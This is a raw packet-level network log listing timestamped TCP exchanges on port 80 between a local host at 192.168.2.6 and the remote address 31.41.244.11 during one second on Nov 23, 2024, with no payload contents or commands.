Nov 23, 2024 13:28:15.129452944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.129548073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.130310059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.130412102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.130513906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.131376982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.131455898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.131537914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.132292986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.132306099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.132363081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.132390976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.132538080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.133310080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.133404970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.133413076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.133462906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.134238958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.134299994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.134572029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.134651899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.135246038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.135303974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.135426044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.135488033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.136240959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.136281967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.136393070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.136393070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.137218952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.137270927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.137306929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.137379885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.138272047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.138362885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.138458014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.139203072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.139266014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.139311075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.139367104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.140153885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.140264034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.140283108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.140331030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.141144991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.141288996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.141309023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.141341925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.142134905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.142230988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.142412901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.143083096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.143222094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.143292904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.144099951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.144169092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.144203901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.144278049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.145086050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.145185947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.145207882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.145227909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.146063089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.146114111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.146150112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.146209955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.147047043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.147106886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.147182941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.147243023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.148026943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.148091078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.148158073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.148304939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.149003983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.149055958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.149122000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.149204969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.149992943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.150067091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.150142908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.150983095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.151065111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.151077032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.151171923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.302134991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.302277088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.302449942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.302505970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.302581072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.302624941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.302624941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.303466082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.303534031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.303581953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.303632975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.304435015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.304488897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.304553032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.304626942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.305404902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.305458069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.305535078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.305578947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.306385040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.306520939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.306649923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.307408094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.307527065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.307574034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.307574034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.308370113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.308470011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.308500051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.308577061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.309392929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.309478045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.309525967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.309606075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.310323954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.310476065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.310525894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.311341047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.311397076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.311554909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.311602116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.312305927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.312360048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.312627077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.312807083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.313380957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.313430071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.313786983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.313852072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.314534903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.314609051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.314769983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.314840078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.315413952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.315529108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.315701008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.315757990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.316304922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.316369057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.316577911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.316628933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.317260981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.317312956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.317478895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.317533016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.318236113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.318639040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.318698883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.319278955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.319322109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.319330931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.319384098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.320188046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.320251942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.320502043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.320580959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.321504116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.321558952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.321633101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.321729898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.322268963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.322438002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.322499037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.323242903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.323337078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.323467970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.323559999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.324134111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.324210882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.324450016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.324655056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.325093031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.325179100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.325402975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.325484037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.326193094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.326483011 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.326565027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.327178001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.327250004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.327263117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.327332973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.328160048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.328406096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.328516960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.328622103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.329237938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.329396963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.329443932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.329443932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.330004930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.330329895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.330408096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.331017971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.331099033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.331307888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.331367970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.332015991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.332113981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.332381010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.332498074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.333010912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.333101988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.333400965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.333486080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.334212065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.334626913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.334711075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.335247040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.335300922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.335381031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.335489988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.335933924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.335995913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.336034060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.336174011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.336961985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.337009907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.337162018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.337224960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.337837934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.338128090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.338181973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.338821888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.338931084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.338946104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.339027882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.339821100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.339883089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.340116024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.340172052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.340814114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.340939999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.341104031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.341152906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.341867924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.341996908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.342117071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.342757940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.342866898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.342873096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.342931032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.343777895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.343858957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.343879938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.343975067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.344753981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.344836950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.345082998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.345144987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.345736027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.345803976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.346019983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.346731901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.346803904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.346954107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.347076893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.347702980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.347805977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.347845078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.347970963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.348659039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.348767996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.348965883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.349662066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.349766016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.349802017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.349879980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.350636005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.350709915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.350724936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.350778103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.351622105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.351686954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.351928949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.351979017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.352679968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.352755070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.353001118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.353111982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.353638887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.353698015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.503215075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.503321886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.503330946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.503376961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.503691912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.503782034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.503834009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.503879070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.504669905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.504724026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.505043983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.505114079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.505134106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.505211115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.505996943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.506042957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.506110907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.506159067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.507031918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.507081985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.507194042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.507272959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.508002996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.508039951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.508045912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.508084059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.509037971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.509083033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.509144068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.509205103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.509979963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.510035992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.510072947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.510118008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.510910034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.510971069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.511013031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.511063099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.511917114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.512001991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.512025118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.512082100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.512897968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.512945890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.513091087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.513154030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.513875008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.513943911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.513981104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.514038086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.514869928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.514956951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.514985085 CET	80	49729	31.41.244.11	192.168.2.6
